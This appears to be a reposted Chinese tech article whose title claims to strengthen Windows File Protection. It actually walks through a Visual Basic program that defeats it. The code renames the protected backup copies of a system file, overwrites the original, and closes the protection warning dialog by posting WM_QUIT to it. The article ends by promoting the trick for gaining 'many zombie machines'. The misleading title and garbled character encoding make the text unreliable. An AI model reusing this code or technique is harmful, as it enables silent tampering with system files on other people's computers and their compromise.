明輝手游網(wǎng):79things.com

本站App下載  |  

首頁 > 電腦資訊 > 電腦知識

幾招技巧完全加強(qiáng)Windows文件保護(hù)穩(wěn)定性

作者:佚名   來源:本站   時(shí)間:2018-06-28  點(diǎn)擊:82次

  “破壞”思想

    還是先說思想,有了思想萬事都好辦。注意“攻略”一文中對話框的標(biāo)題,是不是“Windows 文件保護(hù)”啊。我們就從它下手。有兩種方法,一是根據(jù)這個(gè)窗口標(biāo)題查找,找到后將其隱藏,這個(gè)可以通過ShowWindow API和SW_HIDE消息來完成,但是畢竟窗口仍然存在,不是很安全。第二種也同樣是根據(jù)這個(gè)窗口標(biāo)題查找,找到后不是將其隱藏,而是通過發(fā)送系統(tǒng)消息直接關(guān)閉。下面我將以一個(gè)完整的替換文件、關(guān)閉對話框的例子來講解。這里選擇第二種方法。

    界面設(shè)計(jì)

    好了,還是先給出各控件布局,及對應(yīng)屬性。

    初始化

    程序開始首當(dāng)其沖的當(dāng)然是初始化了。在這里要聲明需要使用的API、常數(shù)及變量,并獲取Windows目錄的完整路徑。

    '獲取WINDOWS安裝所在目錄的API

    Private Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long

    '查找窗口句柄的API

    Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long

    '根據(jù)句柄關(guān)閉指定窗口的API

    Private Declare Function PostMessage Lib "user32" Alias "PostMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long

    '關(guān)閉窗口的常數(shù)

    Private Const WM_QUIT = &H12

    '存放Windows目錄的變量

    Dim WindowsDirectory As String

    Private Sub Form_Load()

    '存放獲取的Windows目錄的字符串緩沖區(qū)

    Dim Path As String

    '設(shè)置緩沖區(qū)內(nèi)容,以便分解Windows目錄的完整路徑

    Path = Space(255)

    '獲取Windows目錄的路徑,存放進(jìn)緩沖區(qū)

    Call GetWindowsDirectory(Path, 255)

    '分解Windows目錄的完整路徑

    WindowsDirectory = Mid(Path, 1, InStr(1, Path, " ") - 2)

    '指定被替換文件的完整路徑及文件名

    txtSource.Text = WindowsDirectory & "\" & "notepad.exe"

    '指定替換文件的完整路徑及文件名

    txtDestination = WindowsDirectory & "\" & "regedit.exe"

    End Sub

    然后就要開始替換文件的過程了。判斷指定的被替換文件和替換文件是否都存在,存在的話則就根據(jù)復(fù)選框選擇的路徑進(jìn)行替換,這里的思想是將所有的文件都改名了,就沒有辦法恢復(fù)了,然后將替換文件復(fù)制成被替換文件,這樣就避免了直接替換而可能產(chǎn)生意料情況。替換后將定時(shí)器激活,進(jìn)行對話框查找。

    Private Sub cmdDo_Click()

    '執(zhí)行時(shí)屏蔽所有的操作對象,防止誤操作,而導(dǎo)致程序崩潰

    cmdDo.Enabled = False: txtSource.Enabled = False: txtDestination.Enabled = False

chkWindows.Enabled = False: chkSystem32.Enabled = False: chkDllcache.Enabled = False: chkI386.Enabled = False

    '設(shè)置錯(cuò)誤陷阱,因?yàn)橄旅娴某绦蛏婕暗轿募僮?/P>

    On Error Resume Next

    '判斷被替換文件和替換文件是否存在

    If Dir(txtSource.Text) <> "" And Dir(txtDestination.Text) <> "" Then

    '存在,定義被替換文件的文件名存放變量

    Dim FileName As String

    '獲取被替換文件的文件名

    FileName = Mid(txtSource.Text, InStrRev(txtSource.Text, "\") + 1, Len(txtSource.Text) - InStrRev(txtSource.Text, "\"))

    '判斷是否選中Dllcache復(fù)選框

    If chkDllcache.Value = 1 Then

    '是則對Dllcache下的被替換文件改名

    Name WindowsDirectory & "\system32\dllcache\" & FileName As WindowsDirectory & "\system32\dllcache\" & FileName & ".bak"

    End If

    '判斷是否選中System32復(fù)選框

    If chkSystem32.Value = 1 Then

    '是則對System32下的被替換文件改名

    Name WindowsDirectory & "\system32\" & FileName As WindowsDirectory & "\system32\" & FileName & ".bak"

    End If

    '判斷是否選中I386復(fù)選框

    If chkI386.Value = 1 Then

    '是則對I386下的被替換文件改名

    Name WindowsDirectory & "\ServicePackFiles\i386\" & FileName As WindowsDirectory & "\ServicePackFiles\i386\" & FileName & ".bak"

    End If

    '判斷是否選中Windows復(fù)選框

    If chkWindows.Value = 1 Then

    '是則對Windows下的被替換文件改名

    Name WindowsDirectory & "\" & FileName As WindowsDirectory & "\" & FileName & ".bak"

    End If

    '將替換文件復(fù)制為被替換文件

    FileCopy txtDestination.Text, txtSource.Text

    '激活定時(shí)器

    timCheck.Enabled = True

    End If

    End Sub

    最后則是不停的監(jiān)視那個(gè)“Windows 文件保護(hù)”的對話框,一出來就通過PostMessage API向其發(fā)送WM_QUIT系統(tǒng)消息,將其關(guān)閉。這里要注意一點(diǎn),是用PostMessage而不是SendMessage,主要是因?yàn)橄⒉恍枰却,如果用后者,則關(guān)閉不了“攻略”一文中的對話框。反而會(huì)彈出另一個(gè)對話框。

    Private Sub timCheck_Timer()

    '設(shè)置錯(cuò)誤陷阱

    On Error Resume Next

    '定義存放"Windows 文件保護(hù)"窗口句柄的變量

    Dim hwnd As Long

    '查找"Windows 文件保護(hù)"窗口,并把對應(yīng)的句柄存入變量

    hwnd = FindWindow(vbNullString, "Windows 文件保護(hù)")

    '判斷是否找到窗口

    If hwnd <> 0 Then

    '是則關(guān)閉窗口

    Call PostMessage(hwnd, WM_QUIT, 0, 0)

    '給出成功提示

    MsgBox "替換成功!", vbInformation

    '退出程序

    End

    End If

    End Sub

    好了,到這里就可以編譯使用了。

    寫在最后

    這樣簡簡單單幾步就把MS安全強(qiáng)大的WFP給突破了,讓我自己也有點(diǎn)不敢相信,不過這是事實(shí),不得不信啊。一個(gè)“小”洞+一款利器=多多肉雞,相信你絕對不會(huì)錯(cuò)過的。

推薦游戲

換一換